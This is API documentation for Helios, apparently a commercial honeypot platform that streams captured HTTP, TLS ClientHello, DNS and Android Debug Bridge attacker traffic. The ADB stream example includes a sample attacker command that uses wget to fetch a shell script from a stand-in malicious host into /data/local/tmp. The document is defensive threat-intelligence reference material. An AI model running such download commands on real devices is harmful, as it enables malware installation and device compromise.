Helios

Helios is the Synthient honeypot platform. A globally distributed mesh of decoy HTTP, TLS, DNS, and Android Debug Bridge endpoints sits behind residential, datacenter, and mobile egress points, capturing every request, ClientHello, hostname lookup, and shell command attackers send. Every observation flows into the same lookup, feed, and streaming surfaces that power the rest of Synthient.

What Helios captures

SensorSurfaceContents
HTTPPlaintext :80 honeypots impersonating common originsMethod, URI, headers, raw request bytes, source proxy metadata
TLSTLS terminators on :443 capturing ClientHelloNegotiated version, cipher suites, extensions, supported groups, signature algorithms
DNSTunnel-side resolution observationsQueried hostname and destination port for each tunnelled flow
ADBAndroid Debug Bridge :5555 sensorsBase64-encoded shell commands, session grouping, command hashes

Each event carries a meta block identifying the upstream proxy network pool_id, provider, proxy_ip, and the impersonated server so you can attribute attacker traffic back to the exit it traversed.


Access surfaces

Helios data is available three ways depending on your latency and volume needs:

SurfaceBest forEndpoint
Domain lookupPer-domain intelligence aggregate stats, top subdomains/ports, recent eventsGET /api/v4/lookup/domain/{domain}
Live streamsReal-time correlation, SOC tooling, in-memory threat cachesNDJSON streams below
Parquet exportsBulk analytics, training data, retrospective huntsDaily and hourly snapshots via Feeds

Authentication & scopes

All Helios endpoints are served from https://api.synthient.com under /api/v4 and require your API key in the x-api-key header.

Each sensor exposes two scopes one for the parquet exports and one for the real-time stream:

ScopeGrants
HONEYPOT_HTTP_FEED / HONEYPOT_HTTP_STREAMHTTP capture exports / stream.
HONEYPOT_HTTPS_FEED / HONEYPOT_HTTPS_STREAMTLS ClientHello capture exports / stream.
HONEYPOT_DNS_FEED / HONEYPOT_DNS_STREAMDNS resolution exports / stream.
HONEYPOT_ADB_FEED / HONEYPOT_ADB_STREAMAndroid Debug Bridge shell-command exports / stream.

See Authentication for full key handling and Errors for the 401/403 responses you'll see if a scope is missing.


Domain intelligence

The fastest way to put Helios to work is the domain lookup. It returns aggregate stats, a time series, top subdomains and ports, and the most recent raw events seen against the queried domain built from the same captures the streams below emit.

curl -G https://api.synthient.com/api/v4/lookup/domain/example.com \
  -H "x-api-key: $API_KEY"

Full request, response, and code samples live on the IP API page.


Common response codes

Status CodeDescription
200 - StreamingNDJSON body one JSON object per line, open up to 30 minutes.
401 - UnauthorizedMissing or invalid API key.
403 - ForbiddenAPI key lacks the per-sensor HONEYPOT_*_STREAM scope for streaming or HONEYPOT_*_FEED scope for exports.
429 - Too Many RequestsToo many concurrent streams from this client.
500 - Internal Server ErrorUnexpected server-side error.
503 - Service UnavailableStreaming backend is down retry with backoff.

GET/api/v4/feeds/helio/http/stream

Stream HTTP captures

Real-time stream of HTTP request captures from Helios sensors, including method, URI, headers, and the raw request bytes.

  • Name
    timestamp
    Type
    integer
    Description

    Unix timestamp in milliseconds when the request was captured.

  • Name
    domain
    Type
    string
    Description

    Destination domain the sensor impersonated.

  • Name
    port
    Type
    integer
    Description

    Destination port.

  • Name
    tunnel_id
    Type
    integer
    Description

    Internal tunnel identifier.

  • Name
    protocol
    Type
    string
    Description

    Always "http" for this stream.

  • Name
    details.method
    Type
    string
    Description

    HTTP method, such as GET or POST.

  • Name
    details.uri
    Type
    string
    Description

    Request URI.

  • Name
    details.version
    Type
    string
    Description

    HTTP version, such as HTTP/1.1.

  • Name
    details.headers
    Type
    object
    Description

    Request headers as a string-to-string map. Header keys preserve the casing the client sent.

  • Name
    raw
    Type
    string
    Description

    Raw HTTP request bytes.

  • Name
    meta
    Type
    object
    Description

    Source metadata pool_id, provider, proxy_ip, and the upstream server as host:port.

Request

GET/api/v4/feeds/helio/http/stream
curl -N https://api.synthient.com/api/v4/feeds/helio/http/stream \
  -H "x-api-key: $API_KEY"

NDJSON events

{"timestamp":1778200137487,"tunnel_id":961793813,"domain":"ip-api.com","port":80,"protocol":"http","meta":{"proxy_ip":"195.63.23.169","server":"s1860.novel-layer.com:6000","pool_id":"flixview_gms","provider":"popa"},"details":{"method":"GET","uri":"/json/?fields=61439","version":"HTTP/1.1","headers":{"User-Agent":"axios/1.16.0","Host":"ip-api.com"}},"raw":"GET /json/?fields=61439 HTTP/1.1\r\nHost: ip-api.com\r\n"}

GET/api/v4/feeds/helio/https/stream

Stream TLS captures

Real-time stream of TLS ClientHello captures from Helios sensors. The details block carries the fully parsed handshake record/handshake versions, the client random and session ID, the full cipher-suite and extension lists with their numeric codes, supported groups, signature algorithms, key-share groups, PSK key-exchange modes, and the boolean handshake flags (extended_master_secret, renegotiation_info, status_request, signed_certificate_timestamps, has_grease, etc.).

  • Name
    timestamp
    Type
    integer
    Description

    Unix timestamp in milliseconds when the ClientHello was captured.

  • Name
    domain
    Type
    string
    Description

    Destination domain, taken from the SNI extension.

  • Name
    port
    Type
    integer
    Description

    Destination port.

  • Name
    tunnel_id
    Type
    integer
    Description

    Internal tunnel identifier.

  • Name
    protocol
    Type
    string
    Description

    Always "https" for this stream.

  • Name
    meta
    Type
    object
    Description

    Source metadata proxy_ip, server, pool_id, provider.

  • Name
    details
    Type
    object | null
    Description

    Parsed ClientHello. null only when parsing failed. Keys include: record_version, handshake_version, client_random, session_id, session_id_length, cipher_suites (each {code, name}), compression_methods, sni, supported_versions, supported_groups, ec_point_formats, signature_algorithms, extensions (each {code, name, length}), key_share_groups, psk_key_exchange_modes, plus boolean flags extended_master_secret, renegotiation_info, status_request, signed_certificate_timestamps, has_grease, encrypt_then_mac, post_handshake_auth, delegated_credentials, application_settings.

  • Name
    raw
    Type
    null
    Description

    Currently always null; the raw ClientHello bytes are available only via the parquet exports.

Request

GET/api/v4/feeds/helio/https/stream
curl -N https://api.synthient.com/api/v4/feeds/helio/https/stream \
  -H "x-api-key: $API_KEY"

NDJSON events

{
  "timestamp": 1778200008794,
  "tunnel_id": 740057945,
  "domain": "www.youtube.com",
  "port": 443,
  "protocol": "https",
  "meta": {
    "proxy_ip": "217.181.88.34",
    "server": "s1863.novel-layer.com:6000",
    "pool_id": "flixview_gms",
    "provider": "popa"
  },
  "details": {
    "record_version": "TLS 1.2",
    "handshake_version": "TLS 1.2",
    "client_random": "9fdd003157d728fcae103ccc0f849396ed67784ed71c557cbaa1ae9abe39aea5",
    "session_id_length": 32,
    "session_id": "4cfe7bb506b4e8593d96fbf1d66bf70cf1a46c39c7e2fe55672c3cf9689e10f6",
    "cipher_suites": [
      { "code": 4865, "name": "TLS_AES_128_GCM_SHA256" },
      { "code": 4866, "name": "TLS_AES_256_GCM_SHA384" }
      // ... rest of the cipher suites
    ],
    "sni": "www.youtube.com",
    "supported_versions": ["TLS 1.3", "TLS 1.2"],
    "extensions": [
      { "code": 0, "name": "server_name", "length": 20 },
      { "code": 43, "name": "supported_versions", "length": 9 }
      // ... rest of the extensions
    ],
    "extended_master_secret": true,
    "renegotiation_info": true,
    "status_request": true,
    "has_grease": false
    // ... rest of the parsed ClientHello
  },
  "raw": null
}

GET/api/v4/feeds/helio/dns/stream

Stream DNS captures

Real-time stream of resolution observations from Helios honeypot tunnels every hostname an inbound flow is destined for, alongside the destination port. Useful for catching the early "where is the C2?" stage of an attacker session and for surfacing fast-flux infrastructure.

  • Name
    timestamp
    Type
    integer
    Description

    Unix timestamp in milliseconds when the resolution was observed.

  • Name
    tunnel_id
    Type
    integer
    Description

    Internal tunnel identifier joins back to the matching HTTP/TLS captures from the same flow.

  • Name
    domain
    Type
    string
    Description

    Hostname being resolved by the inbound flow.

  • Name
    port
    Type
    integer
    Description

    Destination port the flow intended to reach.

  • Name
    meta
    Type
    object
    Description

    Source metadata proxy_ip, server, pool_id, provider. Streamed only. The meta block is omitted from parquet exports because the projector does not handle nested messages fall back to tunnel_id if you need to correlate exports across sensors.

Request

GET/api/v4/feeds/helio/dns/stream
curl -N https://api.synthient.com/api/v4/feeds/helio/dns/stream \
  -H "x-api-key: $API_KEY"

NDJSON events

{"timestamp":1762605697,"tunnel_id":42,"domain":"c2.example.com","port":443,"meta":{"proxy_ip":"203.0.113.42","server":"hp-04","pool_id":"pool-us-east","provider":"BRIGHTDATA"}}

GET/api/v4/feeds/helio/adb/stream

Stream ADB captures

Real-time stream of Android Debug Bridge shell commands captured by Helios sensors. The command field is the raw shell command bytes serialized as a JSON string use the SHA-256 hash to deduplicate identical commands across sessions.

  • Name
    session
    Type
    string
    Description

    ADB session hash groups commands from the same connection.

  • Name
    sequential_id
    Type
    integer
    Description

    Monotonically-increasing event ID within a session.

  • Name
    command
    Type
    string
    Description

    Shell command executed by the attacker, encoded as a JSON string.

  • Name
    hash
    Type
    string
    Description

    SHA-256 of the executed command bytes stable across sessions.

Request

GET/api/v4/feeds/helio/adb/stream
curl -N https://api.synthient.com/api/v4/feeds/helio/adb/stream \
  -H "x-api-key: $API_KEY"

NDJSON events

{"session":"a1b2c3d4…","sequential_id":918274,"command":"cd /data/local/tmp; wget http://evil.example.com/bin.sh","hash":"7e8f…"}

Consuming Helios streams

Helios uses the same NDJSON server-streaming pattern as the rest of the Firehose. Connections stay open up to 30 minutes; reconnect immediately on clean close, and back off with jitter on errors. Full Python, TypeScript, and Go consumers are on the Firehose page swap the URL for the Helios stream you want.


Bulk exports

For retrospective analysis, every Helios sensor publishes daily and hourly parquet snapshots through the standard Feeds endpoints under the honeypot_http, honeypot_https, honeypot_dns, and honeypot_adb stream identifiers.

curl -G https://api.synthient.com/api/v4/feeds/helio/http/export \
  -H "x-api-key: $API_KEY"

Next steps

  • IP API domain lookup per-domain Helios intelligence.
  • Feeds daily/hourly parquet snapshots of every Helios sensor.
  • Firehose full NDJSON consumer reference and proxy/anonymizer/fingerprint streams.